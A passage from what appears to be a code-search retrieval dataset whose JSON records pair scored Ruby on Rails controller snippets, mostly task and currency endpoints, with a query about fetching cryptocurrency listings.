"text": "def new\n @task = Task.new\n @task.person = Person.find(params[:person_id])\n @task.task_type = TaskType.find(params[:task_type_id])\n @task.task_status = @task.task_type.task_statuses.where(:start => true).first\n @task.attempt_next_contact_by = Time.current.beginning_of_day.advance(:days => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"title": ""
},
{
"docid": "9fb95f6e38fb8b9065ad4a78ce175bce",
"score": "0.55641514",
"text": "def show\n #first you retrive the project from params[:project_id] \n @project = Project.find(params[:project_id])\n #2nd you retrieve the task thanks to params[:id]\n @task = @project.tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task }\n end\n end",
"title": ""
},
{
"docid": "15183bd379784541f2462612bdedba7f",
"score": "0.55641043",
"text": "def get_tasks\n render json: Category.find(params[:category_id]).tasks\n end",
"title": ""
},
{
"docid": "021de7b694559e0ade25d7740ffada7a",
"score": "0.55615556",
"text": "def show\n begin\n @task = Task.accessible_by(current_ability).find(params[:id])\n @subtask = Subtask.new({ :task => @task })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n rescue\n redirect_to root_path, alert: 'Task was not find.'\n end\n end",
"title": ""
},
{
"docid": "f2e7e28e1ed543e8600c3ccd76069a42",
"score": "0.5560894",
"text": "def index\n @subtasks = Subtask.all\n end",
"title": ""
},
{
"docid": "971e9bd64bb5f60375f87b17f1a7da89",
"score": "0.5551168",
"text": "def show\n @work_task_schedules = WorkTaskTimeSchedule.where('work_task_id = ?', params[:id])\n end",
"title": ""
},
{
"docid": "6369065fe2a43f0985bd65ea3e736786",
"score": "0.554837",
"text": "def show\n @task = Task.find(params[:id])\n render json: @task\n end",
"title": ""
},
{
"docid": "6369065fe2a43f0985bd65ea3e736786",
"score": "0.554837",
"text": "def show\n @task = Task.find(params[:id])\n render json: @task\n end",
"title": ""
},
{
"docid": "6369065fe2a43f0985bd65ea3e736786",
"score": "0.554837",
"text": "def show\n @task = Task.find(params[:id])\n render json: @task\n end",
"title": ""
},
{
"docid": "42bc4f9a54ee98278c8faa2fc021e6f5",
"score": "0.55483055",
"text": "def index\n @recite_tasks = User.first.recite_tasks\n\n @today_recite_tasks = ReciteTask.where(:user_id => @current_user.id, :next_time => Date.today...Date.tomorrow)\n\n end",
"title": ""
},
{
"docid": "f3e9559962d6bdcccb816e21c387e337",
"score": "0.55467474",
"text": "def show\n @completed_task = CompletedTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completed_task }\n end\n end",
"title": ""
},
{
"docid": "a52b6891cf89f4e10cbef9fee79fb87a",
"score": "0.55420786",
"text": "def staff_post_task\n staff = params[:user_id].present? ? User.where(:id => params[:user_id]).first : current_user\n tasks = staff.tasks.map{|t| {\n id: t.id, \n title: t.event, \n start_year: get_year(t.start_date),\n start_month: get_month(t.start_date) - 1,\n start_day: get_day(t.start_date),\n start_hour: get_hour(t.start_date),\n start_minute: get_minute(t.start_date),\n end_year: get_year(t.end_date),\n end_month: get_month(t.end_date) - 1,\n end_day: get_day(t.end_date),\n end_hour: get_hour(t.end_date),\n end_minute: get_minute(t.end_date)\n }}\n render json: tasks.to_json\n end",
"title": ""
},
{
"docid": "a44d186de15b96b1678a992206fbda00",
"score": "0.5532024",
"text": "def new_subtask\n @status = Status.find(params[:status_id])\n @project = Project.find(params[:project_id])\n @task = Task.find(params[:task_id])\n @subtask = SubTask.new\n end",
"title": ""
},
{
"docid": "ca759b121daf449f1ae90004864e497c",
"score": "0.55272996",
"text": "def index\n @tasks = Project.find(params[:project_id]).tasks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"title": ""
},
{
"docid": "8c1a8082eb82b6680e5a4d9647670e5a",
"score": "0.5525518",
"text": "def show\n begin\n @task = Task.accessible_by(current_ability).find(params[:id])\n @subtask = Subtask.new({ :task => @task })\n\n puts @task.subtasks\n puts @task.subtasks.count\n puts @task.subtasks.progress_in_words\n puts @task.subtasks.progress_percent\n # puts @task.subtask_complete_percent\n # puts @task.subtask_complete_in_word\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n rescue\n redirect_to root_path, alert: 'Task was not find.'\n end\n end",
"title": ""
},
{
"docid": "063e0f71d5a50d002fd3da6b9e1d7491",
"score": "0.55219716",
"text": "def index\n @project = Project.find(params[:project_id])\n @tasks = @project.tasks\n end",
"title": ""
},
{
"docid": "f0d712cd63ce9abda1db4a03d1886b35",
"score": "0.5521646",
"text": "def gantt\n @project = Project.find(params[:project_id])\n end",
"title": ""
},
{
"docid": "f0d712cd63ce9abda1db4a03d1886b35",
"score": "0.5521646",
"text": "def gantt\n @project = Project.find(params[:project_id])\n end",
"title": ""
},
{
"docid": "43a65a5da81d2c13b3c4e0b17427502f",
"score": "0.5521299",
"text": "def url\n \"http://#{Config::APP_HOST}:#{Config::APP_PORT}/task/#{self.id}\"\n end",
"title": ""
},
{
"docid": "72cd974d6147f933eb55e8ddfe540a78",
"score": "0.5515443",
"text": "def get_task(options, task)\n options[:method] = 'Get'\n options[:endpoint] = '/kapacitor/v1/tasks/' + task[:id]\n\n task = _do_request(options)\n\n return if task['error'] == 'no task exists'\n task\n end",
"title": ""
},
{
"docid": "cdbe72f97f272081dae0fd302468a019",
"score": "0.55152595",
"text": "def index\n @resource_in_tasks = @task.resource_in_tasks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_in_tasks }\n end\n end",
"title": ""
},
{
"docid": "48f91280e26c4cc3cfe642d33f039fbd",
"score": "0.55137366",
"text": "def tasks\n\t\t\tget_resource_link(:tasks, \"tasks\", \"task\")\n\t end",
"title": ""
},
{
"docid": "2d14ba674e36a6a25522970a82ed9010",
"score": "0.5513525",
"text": "def get_tasks_list(id)\n params = {\n 'method' => :get,\n 'command' => \"/tasksList/#{id}\"\n }\n\n response, headers = send_request(params)\n\n tasks = []\n\n response.css('Task').each do |task|\n id = task['href'].gsub(/.*\\/task\\//, \"\")\n operation = task['operationName']\n status = task['status']\n error = nil\n error = task.css('Error').first['message'] if task['status'] == 'error'\n start_time = task['startTime']\n end_time = task['endTime']\n user_canceled = task['cancelRequested'] == 'true'\n\n tasks << {\n :id => id,\n :operation => operation,\n :status => status,\n :error => error,\n :start_time => start_time,\n :end_time => end_time,\n :user_canceled => user_canceled\n }\n end\n tasks\n end",
"title": ""
},
{
"docid": "2d14ba674e36a6a25522970a82ed9010",
"score": "0.5513525",
"text": "def get_tasks_list(id)\n params = {\n 'method' => :get,\n 'command' => \"/tasksList/#{id}\"\n }\n\n response, headers = send_request(params)\n\n tasks = []\n\n response.css('Task').each do |task|\n id = task['href'].gsub(/.*\\/task\\//, \"\")\n operation = task['operationName']\n status = task['status']\n error = nil\n error = task.css('Error').first['message'] if task['status'] == 'error'\n start_time = task['startTime']\n end_time = task['endTime']\n user_canceled = task['cancelRequested'] == 'true'\n\n tasks << {\n :id => id,\n :operation => operation,\n :status => status,\n :error => error,\n :start_time => start_time,\n :end_time => end_time,\n :user_canceled => user_canceled\n }\n end\n tasks\n end",
"title": ""
},
{
"docid": "a975c856164c7e6d6097da517e763876",
"score": "0.55096483",
"text": "def show\n @rake_task = RakeTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rake_task }\n end\n end",
"title": ""
},
{
"docid": "3f6ed51165830ca29bdfe4021170745c",
"score": "0.5509334",
"text": "def index\n query_string = 'is_recurrent = :is_recurrent'\n query_params = {\n is_recurrent: '0'\n }\n\n if params.include?(:start)\n if !query_string.empty?\n query_string += ' AND '\n end\n query_string += 'start_datetime >= :start_datetime'\n query_params[:start_datetime] = params[:start]\n end\n\n if params.include?(:end)\n if !query_string.empty?\n query_string += ' AND '\n end\n query_string += 'end_datetime <= :end_datetime'\n query_params[:end_datetime] = params[:end]\n end\n\n @schedules = current_user.schedules.select('*').where([query_string, query_params]).find_each\n\n if params.include?(:start)\n start_time = Time.zone.iso8601(params[:start])\n else\n return\n end\n\n if params.include?(:end)\n end_time = Time.zone.iso8601(params[:end])\n else\n return\n end\n\n recurrent_schedules = current_user.schedules.select('*').where(['is_recurrent = :is_recurrent', { is_recurrent: '1' }])\n\n @recurrent_schedules_array = []\n recurrent_schedules.find_each do |schedule|\n if schedule.start_datetime >= start_time\n start_time_loop = schedule.start_datetime\n else\n start_time_loop = start_time\n start_time_loop = start_time_loop.change(hour: schedule.start_datetime.hour, minutes: schedule.start_datetime.min, seconds: schedule.start_datetime.sec)\n end\n\n frequency = nil\n if schedule.recurrence_unit == Schedule::REPEAT_EVERY[:DAY][:ID]\n frequency = schedule.recurrence_frequency.day.to_i\n elsif schedule.recurrence_unit == Schedule::REPEAT_EVERY[:WEEK][:ID]\n frequency = schedule.recurrence_frequency.week.to_i\n else\n return 'Recurrence unit not exists.'\n end\n\n while start_time_loop <= end_time do\n diff = start_time_loop - schedule.start_datetime\n\n if (diff == 0)\n schedule.original_schedule = 1 # TRUE\n @recurrent_schedules_array << schedule\n elsif (diff != 0)\n if (diff % frequency) == 0\n new_schedule = schedule.dup\n new_schedule.id = schedule.id\n new_schedule.original_schedule = 0 # FALSE\n new_schedule.start_datetime = start_time_loop\n new_schedule.end_datetime = new_schedule.start_datetime + (schedule.end_datetime - schedule.start_datetime)\n @recurrent_schedules_array << new_schedule\n end\n end\n\n start_time_loop = start_time_loop.advance(days: 1)\n end\n end\n\n end",
"title": ""
},
{
"docid": "d89f2b3ab5ba490d41d3777c7fd77bb0",
"score": "0.5509151",
"text": "def tasks(options = {})\n options.merge!(assignee: 'me') unless options[:assignee] or options['assignee']\n\n url = \"tasks?assignee=#{options[:assignee]}\"\n\n url += \"&include_archived=true\" if options[:include_archived]\n\n get(url).map { |h| Asana::Task.find h[\"id\"] }\n rescue Exception => e\n $stderr.puts \"ERROR: #{e.message}\"\n $stderr.puts \"RESPONSE: #{e.response.body}\" if e.respond_to?(:response)\n end",
"title": ""
},
{
"docid": "d89f2b3ab5ba490d41d3777c7fd77bb0",
"score": "0.5509151",
"text": "def tasks(options = {})\n options.merge!(assignee: 'me') unless options[:assignee] or options['assignee']\n\n url = \"tasks?assignee=#{options[:assignee]}\"\n\n url += \"&include_archived=true\" if options[:include_archived]\n\n get(url).map { |h| Asana::Task.find h[\"id\"] }\n rescue Exception => e\n $stderr.puts \"ERROR: #{e.message}\"\n $stderr.puts \"RESPONSE: #{e.response.body}\" if e.respond_to?(:response)\n end",
"title": ""
},
{
"docid": "fda936fa69b9cd55ee652813ad35d56d",
"score": "0.5501767",
"text": "def details\n params.require(:id)\n render json: Task.find(params[:id])\n end",
"title": ""
},
{
"docid": "c3543d455676b27c01cac53d5bf73327",
"score": "0.5497499",
"text": "def all_tasks(options = {})\n objects_from_response(:get, \"tasks\", \"todo-items\", options)\n end",
"title": ""
},
{
"docid": "c3543d455676b27c01cac53d5bf73327",
"score": "0.5497499",
"text": "def all_tasks(options = {})\n objects_from_response(:get, \"tasks\", \"todo-items\", options)\n end",
"title": ""
},
{
"docid": "d9ffb2079794de8dd559b04901289710",
"score": "0.54911613",
"text": "def index\n @subtasks = Subtask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subtasks }\n end\n end",
"title": ""
},
{
"docid": "2c425af93f210984bbcc8e0f53c1370b",
"score": "0.548341",
"text": "def task\n @user = current_user\n @interest_list = current_user.interests\n if params[:id] == \"Enrolled Task\"\n @params = params[:id]\n @interest_name = @params\n else\n @interest_name = params[:id]\n @task_list = Task.where(\"status=?\",\"active\")\n @user_task = []\n unless @task_list.blank?\n for task in @task_list\n if task.label.interest.interest_name == params[:id]\n @user_task << task\n end\n end\n end\n end\n if request.post?\n task = Task.new() \n task.title = params[:title] \n task.task_reward = params[:task_reward]\n task.admin_id = current_user.id\n task.description = params[:description]\n @line1 = params[:video_url]\n if ( /v=/.match(@line1)) \n @id = /v=/=~(@line1)\n @updated_id = @id + 2 \n task.video_url = @line1[@updated_id..-1]\n end\n task.start_date = DateTime.new(params[:start_year].to_i,params[:start_month].to_i,params[:start_day].to_i)\n task.end_date = DateTime.new(params[:end_year].to_i,params[:end_month].to_i,params[:end_day].to_i)\n task.build_label(interest_id: params[:interest_id])\n #task.build_feed(feed_name: \"Task\",user_id: current_user.id)\n if task.save \n flash[:notice]=\"A task has been created for #{Interest.find(params[:interest_id]).interest_name}\"\n end\n respond_to do |format| \n format.html{redirect_to admin_path}\n format.js\n end\n end\n end",
"title": ""
},
{
"docid": "78767d8216ea07c925b0b122b20a0c45",
"score": "0.5481827",
"text": "def show\n @task = @user.tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"title": ""
},
{
"docid": "3d87925653fec33b7dcd966bc8d85b4c",
"score": "0.5480932",
"text": "def show\n @rescheduling = Rescheduling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rescheduling }\n end\n end",
"title": ""
},
{
"docid": "7072c8b3f2687aeac7c868df0c86c5d5",
"score": "0.5479826",
"text": "def index\n @tasks = @user.tasks.all\n @task = @user.tasks.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"title": ""
},
{
"docid": "bbb7fba16822ab2d8dbc34a3711fa5ad",
"score": "0.54797035",
"text": "def show\n @task = Task.find(params[:id])\n @activities = PublicActivity::Activity.order('created_at desc').where(:task_id=>@task.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end",
"title": ""
},
{
"docid": "4f1739c9f73d92b8dbffd5dc2c578e20",
"score": "0.5473809",
"text": "def get_tasks(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetTasks'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :status\n\t\t\targs[:query]['Status'] = optional[:status]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "a743edbf2315f40b6545ec063ada5767",
"score": "0.54701614",
"text": "def listTasks\n @tasks = Task.where(:project_id=>params[:id])\n @project_id = params[:id]\n end",
"title": ""
}
] |
7712c18e92e5b92490329b4d1bd56a63
|
GET /cryptocurrencies or /cryptocurrencies.json
|
[
{
"docid": "fa4ef8914e6a2ae9f1f65378c7290043",
"score": "0.6617004",
"text": "def index\n @cryptocurrencies = Cryptocurrency.all\n require 'net/http'\n require 'json'\n @url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?start=1&limit=100&CMC_PRO_API_KEY=8e364003-38f2-410d-81af-9166deca3a6f'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @array1 = JSON.parse(@response).to_a\n @array2 = @array1[1].to_a\n @lookup_crypto = @array2[1].to_a\n @profit_loss = 0\n end",
"title": ""
}
] |
[
{
"docid": "3349022ac48527bf07a5c0b06822da6b",
"score": "0.73078305",
"text": "def list_coins\n endpoint = \"#{HOST}/v1/cryptocurrency/map\"\n get(endpoint)\n end",
"title": ""
},
{
"docid": "dc6645ed0f0577a4a97feaeb23e3cb1d",
"score": "0.72700304",
"text": "def get_currencies\n response_xml = http_get(@client, \"#{xero_url}/Currencies\")\n parse_response(response_xml, {}, {:request_signature => 'GET/currencies'})\n end",
"title": ""
},
{
"docid": "1c24b6154a9295ccfc9cf2c5c3722343",
"score": "0.7158386",
"text": "def get_coins\n get(\"/getcoins\")\n end",
"title": ""
},
{
"docid": "35bcb3fbd25ade829b14a0fd2dfc8441",
"score": "0.7077994",
"text": "def index\n @cryptocurrencies = Cryptocurrency.all\n\n require 'net/http'\n require 'json'\n\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_crypto = JSON.parse(@response)\n\n @profit_loss = 0\n end",
"title": ""
},
{
"docid": "57f535bcec97109374ce1ea92f43045f",
"score": "0.70533466",
"text": "def prices (currency='TWD')\n get '/prices/' + currency\n end",
"title": ""
},
{
"docid": "e877dc21374bf979763bfb993d19cba0",
"score": "0.7012836",
"text": "def supported_currencies\n get 'simple/supported_vs_currencies'\n end",
"title": ""
},
{
"docid": "30f84deba4b4de2bd833a647c7b1dad3",
"score": "0.68558466",
"text": "def currencies(&blk)\n if block_given?\n websocket.subscribe :getcurrencies, &blk\n else\n http.get :getcurrencies\n end\n end",
"title": ""
},
{
"docid": "1d316850a451be2065b534469e3a3a23",
"score": "0.6854499",
"text": "def show\n @currencies = CryptocurrenciesService.new.get_top\n end",
"title": ""
},
{
"docid": "173ef93e0583fe6dc010625bfa3b48c3",
"score": "0.67759424",
"text": "def index\n @cryptostables = Cryptostable.all\n\n require 'uri'\n require 'net/http'\n require 'openssl'\n\n @url = \"https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?CMC_PRO_API_KEY=#{ENV.fetch('CRYPTO')}&start=1&limit=500\"\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_cryptos = JSON.parse(@response)\n @profit_loss = 0\n end",
"title": ""
},
{
"docid": "ca3a784ad06860cb6e49ad097ed76e5d",
"score": "0.6765343",
"text": "def get_currencies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CurrenciesApi.get_currencies ...\"\n end\n # resource path\n local_var_path = \"/currencies\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_default'] = opts[:'filter_default'] if !opts[:'filter_default'].nil?\n query_params[:'filter_enabled_currencies'] = opts[:'filter_enabled_currencies'] if !opts[:'filter_enabled_currencies'].nil?\n query_params[:'filter_type'] = opts[:'filter_type'] if !opts[:'filter_type'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCurrencyResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CurrenciesApi#get_currencies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "18d5aab15fcf3db1fe20211bb7f931fb",
"score": "0.66459715",
"text": "def show\n @cryptocurrencies = Cryptocurrency.all\n require 'net/http'\n require 'json'\n @url = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?start=1&limit=100&CMC_PRO_API_KEY=8e364003-38f2-410d-81af-9166deca3a6f'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @array1 = JSON.parse(@response).to_a\n @array2 = @array1[1].to_a\n @show_crypto = @array2[1].to_a\n end",
"title": ""
},
{
"docid": "a08788d9adeab1f8ca7df7b72824b04d",
"score": "0.66262436",
"text": "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"title": ""
},
{
"docid": "0b3df072af9b70c5e58fd14645562559",
"score": "0.6523028",
"text": "def all\n endpoint = 'Currencies'\n response = JSON.parse(@client.get(endpoint).body)\n currencies = response.key?('Items') ? response['Items'] : []\n currencies.map { |attributes| Unleashed::Currency.new(@client, attributes) }\n end",
"title": ""
},
{
"docid": "764f68d940a6ad88b6d435af4a2b186b",
"score": "0.6511251",
"text": "def market_data\n endpoint = \"#{HOST}/v1/cryptocurrency/listings/latest\"\n get(endpoint)\n end",
"title": ""
},
{
"docid": "8ef308dd8d3cfd8e1c999704b17f286e",
"score": "0.64926547",
"text": "def get_currencies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CurrenciesApi#get_currencies ...\"\n end\n \n # resource path\n path = \"/Currencies\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APICurrency>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CurrenciesApi#get_currencies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "677a8ee4509c79b27dca89520f3844cb",
"score": "0.645792",
"text": "def list_currencies\n @data = if params[:ids].present?\n NomicService.get_currencies(:list_currencies, params)\n else\n { status: 400, message: 'ids are required i.e. [BTC, XRP, ETH]'}\n end\n end",
"title": ""
},
{
"docid": "409383719f956188118abab6cb4b84c0",
"score": "0.64329135",
"text": "def currencies(force = false)\n exchange_rates.currencies(force)\n end",
"title": ""
},
{
"docid": "a9a2dd9a5a37d44894401f4b228eeafb",
"score": "0.6430607",
"text": "def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @currency }\n end\n end",
"title": ""
},
{
"docid": "e0434b71421431dc4e559d67daca2a82",
"score": "0.6395487",
"text": "def cash_prices(params = {})\n scope 'default'\n get('prices/cash', params)\n end",
"title": ""
},
{
"docid": "de4dcc3947febc6e9700b35e29eec9aa",
"score": "0.6393098",
"text": "def show\n require 'net/http'\n require 'json'\n\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @show_crypto = JSON.parse(@response)\n end",
"title": ""
},
{
"docid": "bbd8185327fbc40f65b5be90b10ddcd0",
"score": "0.6361397",
"text": "def show\n @breadcrumb = 'read'\n @currency = Currency.find(params[:id])\n @currency_instruments = @currency.currency_instruments.by_value\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @currency }\n end\n end",
"title": ""
},
{
"docid": "99f4e1f132bfede239b88f1d7dfe5959",
"score": "0.63050973",
"text": "def currency\n params['list_currency']\n end",
"title": ""
},
{
"docid": "35f95e6f949892e94b02c916c7714357",
"score": "0.62690824",
"text": "def get_currencies(add_params = nil)\n params = {\n }\n api_call('/global/currencies(.:format)',:get,params,add_params)\n end",
"title": ""
},
{
"docid": "e447010eb13de818c8ae2913a07b128b",
"score": "0.6257839",
"text": "def show\n coin = Coin.find(params[:id]) \n require 'net/http'\n url = url = \"https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&ids=#{coin.coin_api_id}&order=market_cap_desc&per_page=100&page=1&sparkline=false&price_change_percentage=1h\"\n request = URI.parse(url)\n response = Net::HTTP.get_response(request)\n crypto_hash = JSON.parse(response.body)\n coin.image = crypto_hash[0]['image']\n coin.current_price = crypto_hash[0]['current_price']\n coin.price_change_percentage_1h_in_currency = crypto_hash[0]['price_change_percentage_1h_in_currency']\n coin.high_24h = crypto_hash[0]['high_24h']\n coin.low_24h = crypto_hash[0]['low_24h']\n coin.total_volume = crypto_hash[0]['total_volume']\n coin.market_cap = crypto_hash[0]['market_cap']\n coin.market_cap_rank = crypto_hash[0]['market_cap_rank']\n coin.circulating_supply = crypto_hash[0]['circulating_supply']\n\n # Serializer\n # render json: CoinSerializer.new(coin)\n render json: coin\n end",
"title": ""
},
{
"docid": "ea929c87c5e0d749feb14d7527006f03",
"score": "0.62499607",
"text": "def current_price\n # hard coded currency but can be used in future to get data for multiple currencies\n response = Faraday.get(\"https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd&include_24hr_change=true\")\n if response.success? # happy path\n render json: JSON.parse(response.body), status: response.status\n else # sad path\n render json: { errors: JSON.parse(response.body) }, status: response.status\n end\n end",
"title": ""
},
{
"docid": "ab75e5847799b00ac749719b0259836b",
"score": "0.6242994",
"text": "def index\n @currencies = Currency.all\n end",
"title": ""
},
{
"docid": "ab75e5847799b00ac749719b0259836b",
"score": "0.6242994",
"text": "def index\n @currencies = Currency.all\n end",
"title": ""
},
{
"docid": "d89fe989511ee52a302ba57c0d2c60e3",
"score": "0.6226072",
"text": "def show_page_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @show_crypto = JSON.parse(@response)\n end",
"title": ""
},
{
"docid": "9ebd6889f6519c4f7b5fc6aec718ffb6",
"score": "0.61842936",
"text": "def index\r\n @currencies = Currency.all\r\n end",
"title": ""
},
{
"docid": "3fbd27b3c620f2b7f284997d2b3d56c9",
"score": "0.617447",
"text": "def fetch_currency_rates\n begin\n application_currency_rates\n rescue Exception => e\n render :file => \"#{Rails.root}/public/404.html\", :status => :not_found\n end\n end",
"title": ""
},
{
"docid": "a8bc262379f3393b318892f6fefb0c02",
"score": "0.6133232",
"text": "def main_page_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @coins = JSON.parse(@response)\n @my_coins = [\"XLM\", \"BTC\", \"ADA\", \"STEEM\", \"ETH\"] \n end",
"title": ""
},
{
"docid": "46ca737a8710d3ebce78555935603ffd",
"score": "0.61251575",
"text": "def available_currencies\n set_default_rate\n currency_rates.keys\n end",
"title": ""
},
{
"docid": "e55466fb1643f3ad7f46719d566f1f4b",
"score": "0.6115392",
"text": "def retrieve(currency_pair)\n price = Client.get(\"#{path}¤cy=#{currency_pair}\").body\n { currency_pair => price.to_f }\n end",
"title": ""
},
{
"docid": "9581ff708aa148a16088ffbb4093f134",
"score": "0.60896105",
"text": "def info_currencies_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CurrencyInfoApi.info_currencies ...'\n end\n # resource path\n local_var_path = '/info/currencies'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CurrencyListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CurrencyInfoApi#info_currencies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8b5a929e58ebfb2eb6fb72b691aef100",
"score": "0.60576653",
"text": "def coins\n\t\tres = {}\n\t\tuser = User.find_by_token(params[:token])\n\t\tif user\n\t\t\tres[:status] = \"0\"\n\t\t\tres[:coins] = user.coins\n\t\telse\n\t\t\tres[:status] = \"1\"\n\t\tend\n\t\trender json: res\n\tend",
"title": ""
},
{
"docid": "d161fa71cbb873588e23b4acf27ed203",
"score": "0.5998973",
"text": "def fetch_currency_exchange_data\n Hash.from_xml(Net::HTTP.get(URI.parse(EXCHANGE_URL)))\n end",
"title": ""
},
{
"docid": "9f18ae87dd629342e23eeba83305dbd0",
"score": "0.5989206",
"text": "def index\n @currency_pairs = CurrencyPair.all\n end",
"title": ""
},
{
"docid": "baa0fa0ab7293d51915079adb528b025",
"score": "0.5986678",
"text": "def currency_rates\n response['rates'][currency.target_currency.to_s]\n end",
"title": ""
},
{
"docid": "15d03274ef2488f2d8b184c1e6981ac2",
"score": "0.59618545",
"text": "def index\n @cryptocurrency_prices = CryptocurrencyPrice.all\n end",
"title": ""
},
{
"docid": "6aa4920b9125d94ce295eff11345ed62",
"score": "0.59553117",
"text": "def credit\n handle_response(get(\"/credit.json\"))\n end",
"title": ""
},
{
"docid": "b8e348ade8f495510264f42d9ef5b8c3",
"score": "0.5955107",
"text": "def currencies\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "494ccfd79725481a0221b237f29536d2",
"score": "0.5953189",
